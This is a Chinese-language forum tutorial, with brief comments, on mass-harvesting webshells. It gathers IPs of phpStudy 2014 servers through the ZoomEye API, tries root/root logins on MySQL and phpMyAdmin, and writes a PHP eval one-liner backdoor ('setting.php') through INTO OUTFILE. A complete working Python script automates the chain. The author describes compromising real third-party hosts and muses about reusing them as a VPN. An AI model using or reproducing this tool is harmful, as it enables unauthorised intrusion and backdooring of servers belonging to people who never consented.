使用 Python 批量爬取 WebShell

本贴最后更新于 2897 天前,其中的信息可能已经天翻地覆

使用 Python 批量爬取 WebShell

还在用爬虫爬一些简单的数据?太没意思了!我们来用爬虫爬 WebShell!

0. 引子

前些天访问一个平时经常访问的网站,意外的发现这个站出了问题,首页变成了 phpStudy 探针 2014,大概是这样的:
demo
查看了一下之后发现,在这个探针的底部,有一个检测 MySQL 数据库连接检测的功能:
demo2
可以使用这个功能,检测这台主机上的 MySQL 数据库的账号密码。
然后我注意到了低栏里写了 phpMyAdmin
demo3
于是就在域名后面直接加上了 /phpmyadmin 进行访问,没想到,真的能访问。
demo4
使用弱口令 root/root 成功登陆之后,我就有了想法:
MySQL 具有导出数据的功能 into outfile,那应该可以直接导出一个一句话木马出来,然后使用菜刀连接吧。绝对路径也在 phpStudy 探针 2014 那个页面能看到,那就开始试试呗。

1. 第一个 WebShell

成功登陆 phpMyAdmin 之后,使用其 SQL 功能,导出一句话木马。
demo5
使用菜刀连接。
demo6
拿到服务器。
demo7

2. 自动化操作

以上的操作都是手工操作,如果希望用爬虫来获取,必须把手工操作简化成程序自动运行。
以上总共分为 5 步,其分别为:

  1. 使用 phpStudy 探针 上的 MySQL 检测工具,检测是否是弱口令,如果是的话,记录下绝对路径
  2. 检测是否存在目录 /phpmyadmin
  3. 登陆 phpmyadmin
  4. 使用 phpmyadminSQL 功能,将一句话木马导出到绝对路径
  5. 使用菜刀连接【这个不用自动化

考虑到人生这么短,世界这么大,我这里使用 Python 作为主要编程语言,版本为 3.x。
用到的库主要有 HTML 解析库 BeautifulSoup 和网络请求神库 requests。
以下是编程的总体思路,为了简单起见,暂时没有用到多线程,多进程和协成方面的东西。代码会附在最后。

1. 检测弱口令

函数签名:MySQLConnectCheck(ip)
实现功能:根据提交上来的参数 ip,进行检测其对应的 MySQL 服务是否为弱口令,如果是,先将 ip 记录,再获取绝对路径,并将其保存在一个变量内以供接下来使用。
实现思路:

  1. 首先抓包,得到检测弱口令时请求的页面以及提交的参数:
    demo9
  2. 发现提交过一个请求后,返回的 HTML 页面内会根据结果生成相应的弹窗 JS 代码
    demo10
  3. 根据 1,2 就可以进行编码工作

2. 检测 phpmyadmin 目录

函数签名:PhpMyAdminCheck(ip)
实现功能:根据参数 ip,检测其对应的 phpmyadmin 页面时候存在。
实现思路:
使用 requests 库对指定 url 进行访问,监测其返回值是否为 200。

3. 模拟登陆 phpmyadmin

函数签名:LoginPhpMyAdmin(phpMyAdminURL)
实现功能:根据参数 phpMyAdminURL,对指定页面的 phpmyadmin 进行登陆,获取到登陆后得到的 token 和 Cookie
实现思路:
这里有点坑,先不说思路了,说说坑点。
通过开发者工具抓包得到提交的参数里有一个 token,这个 token 和登陆之后后端返回给我的 token 值看上去是相同的,所以我一开始就直接用这个 token 进行下一步操作,结果没想到的是怎么都无法操作。后来我发现,在登陆的时候不提交 token 也丝毫不影响获取到 Cookie,反而 token 会随着登陆成功的页面一起返回回来…
……以上说的有点乱,但是如果有人真正尝试过模拟登陆的话,可能会和我有共鸣吧。
思路其实就是模拟一个 form 表单的提交,要注意的是,返回值是 302 的时候 python 的 requests 库会自动 follow redirect,可以在发送请求的时候设置 allow_redirect = False 或者对得到的响应取第一个 history,response.history[0],具体的在我的代码里可以体现出来。

4. 执行 SQL 语句

函数签名:ExecuteSQL(cookies, phpMyAdminURL, token)
实现功能:执行 SQL 语句,导出一句话木马
实现思路:也是一个 form 表单提交,通过开发者工具可以很轻易的得到提交的数据。这里只要 token 和 Cookie 正确的话没有丝毫坑点。

5. 编码工作基本完成

到这里,整体的实现框架就完成了。剩下的工作就是获取到足够的目标 ip,来进行批量扫描检测。

3. 批量获取 IP

有三种方法批量获取 IP

  1. 使用钟馗之眼 API 批量获取
  2. 使用撒旦搜索 API 批量获取
  3. 使用搜索引擎查找关键字

因为我个人对钟馗之眼和撒旦搜索比较熟悉,所以就使用前 2 种方法了。
对于 1,思路是:

  1. 访问钟馗之眼 API 文档,根据其提供的验证方式获取到 Access_token
  2. 使用 主机设备搜索 接口,搜索条件为 phpStudy 2014,或者 phpStudy 2014 Country:CN 进行获取,我个人测试,可以获取到 1-400 页的内容,大概有 4000 个 IP
  3. 使用 python 对获取到的 ip 进行整理,保留其 ip 地址
    代码很简略,如下:
import requests

headers = {"Authorization":"X"}
url = "https://api.zoomeye.org/host/search?query=phpStudy+2014&page="
f = open("ip.txt", "a+")
for i in range(1,401):
    print(i)
    target = url + str(i)
    try:
        response = requests.get(target, timeout = 1, headers = headers)
        print(response.text)
        matches = response.json()["matches"]
        for result in matches:
            ip = result["ip"]
            f.write(ip + "\n")
    except BaseException as e:
        continue
f.close()

对于撒旦搜索,想要获取到大量数据还有些麻烦,暂时不提了。

4. 开始爬取 webshell

在此之前,需要对我们的代码进行加工。其思路是读取 ip.txt 内的 ip 地址数据,构造成 http://ip 的形式,并循环调用 MySQLConnectCheck(ip) 方法。

5. 运行截图

demo11
demo12
效果还是不错的!

6. 感想

这种漏洞其实比较简单,能获取到的 webshell 数量比较少。
但是使用爬虫获取这类东西可比爬一些简单的数据有意思多了,能得到的成就感也更大。
用菜刀连接之后,发现有很多前人已经来过了…目录下面各种一句话木马…
也算是得到了一些美国、香港的 IP,不知道可不可以利用他们搭一个 VPN 呢,嘿嘿。

7. 最后,上代码

代码写的有些乱,见谅

import requests
import re
from bs4 import BeautifulSoup

def writeMySQLOKIp(ip):
    with open("mysql.txt", "a") as f:
        f.write(ip+"\n")

def writeShellIp(ip):
    with open("shell.txt", "a") as f:
        f.write(ip + "\n")

def MySQLConnectCheck(ip):
    global location
    data = {
        "host": "localhost", 
        "port": "3306", 
        "login": "root", 
        "password": "root", 
        "act": "MySQL检测", 
        "funName": ""
    }
    action = "/l.php"
    try:
        formAction = ip + action
        response = requests.post(formAction, data = data, timeout = 5)
        if response.ok:
            print(ip, "访问成功")
            body = response.text
            htmlBody = BeautifulSoup(body, "html.parser")
            if htmlBody.select("script")[0].string.find("正常") != -1:
                print(ip, "数据库连接成功")
                trs = htmlBody.select("table")[0].select("tr")
                location = trs[-2].select("td")[-1].string
                writeMySQLOKIp(ip)
                PhpMyAdminCheck(ip)
            else:
                print(ip, "数据库连接失败")
        else:
            print(ip, "访问失败")
    except BaseException as e:
        print(ip, "访问错误")
        PhpMyAdminCheck(ip)

def PhpMyAdminCheck(ip):
    phpMyAdminURL = ip + "/phpmyadmin"
    try:
        response = requests.get(phpMyAdminURL, timeout=5)
        if response.ok:
            print(ip, "phpmyadmin连接成功")
            LoginPhpMyAdmin(phpMyAdminURL)
        else:
            print(ip, "phpmyadmin连接失败")
    except BaseException as e:
        print(ip, "error")

def LoginPhpMyAdmin(phpMyAdminURL):
    try: 
        data = {"pma_username": "root", "pma_password": "root", "server": "1", "lang": "en"}
        response = requests.post(phpMyAdminURL+"/index.php", data=data, timeout=5)
        # 得Token
        pat = re.compile(r"var token = '(\S*)'")
        token = re.findall(pat, response.text)[0]

        # 得Cookie
        setCookie = response.history[0].headers["set-cookie"]
        pattern = re.compile(r"p[\w-]*=[\w%]*;")
        cookies = ' '.join(re.findall(pattern, setCookie))
        print(phpMyAdminURL, "phpMyAdmin登陆成功")
        ExecuteSQL(cookies, phpMyAdminURL, token)
    except BaseException as e:
        print(phpMyAdminURL, "phpMyAdmin登陆失败")

def ExecuteSQL(cookies, phpMyAdminURL, token):
    global location
    try:
        sql = "select '<?php @eval($_POST[setting])?>' into outfile '" + location + "/setting.php'"
        data = {
            "is_js_confirmed":"0",
            "db": "mysql",
            "token": token,
            "pos": "0",
            "prev_sql_query": "",
            "goto": "db_sql.php",
            "message_to_show": "123",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "1",
            "ajax_request": "true"
        }
        headers = {"Cookie": cookies}
        response = requests.post(phpMyAdminURL+"/import.php", data=data, headers=headers, timeout=3).json()
        if response["success"]:
            print(phpMyAdminURL+"/setting.php", "webshell植入成功, pwd:setting");
            writeShellIp(phpMyAdminURL+"/setting.php")
        else:
            print(phpMyAdminURL, "webshell植入失败, reason:", response["error"]);
    except BaseException as e:
        print(phpMyAdminURL, "error")
    
def main():
    with open("ip.txt", "r") as f:
        for line in f:
            ip = line.strip("\n")
            target = "http://" + ip
            try:
                MySQLConnectCheck(target)
            except BaseException as e:
                print(e)
                continue

location = ""
if __name__ == "__main__":
    main()
  • Python

    Python 是一种面向对象、直译式电脑编程语言,具有近二十年的发展历史,成熟且稳定。它包含了一组完善而且容易理解的标准库,能够轻松完成很多常见的任务。它的语法简捷和清晰,尽量使用无异义的英语单词,与其它大多数程序设计语言使用大括号不一样,它使用缩进来定义语句块。

    546 引用 • 672 回帖
  • 教程
    143 引用 • 611 回帖 • 8 关注

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...
  • Any3ize
    该回帖仅作者和楼主可见
    1 回复
  • zjhch123
    作者

    我当时用的具体是什么版本也想不起来啦,是 py3 肯定不是 py2,最新版本应该也可以跑吧~这类 api 不会改变的。提示有语法错误,是不是你的代码有问题呢?

  • someone

    厉害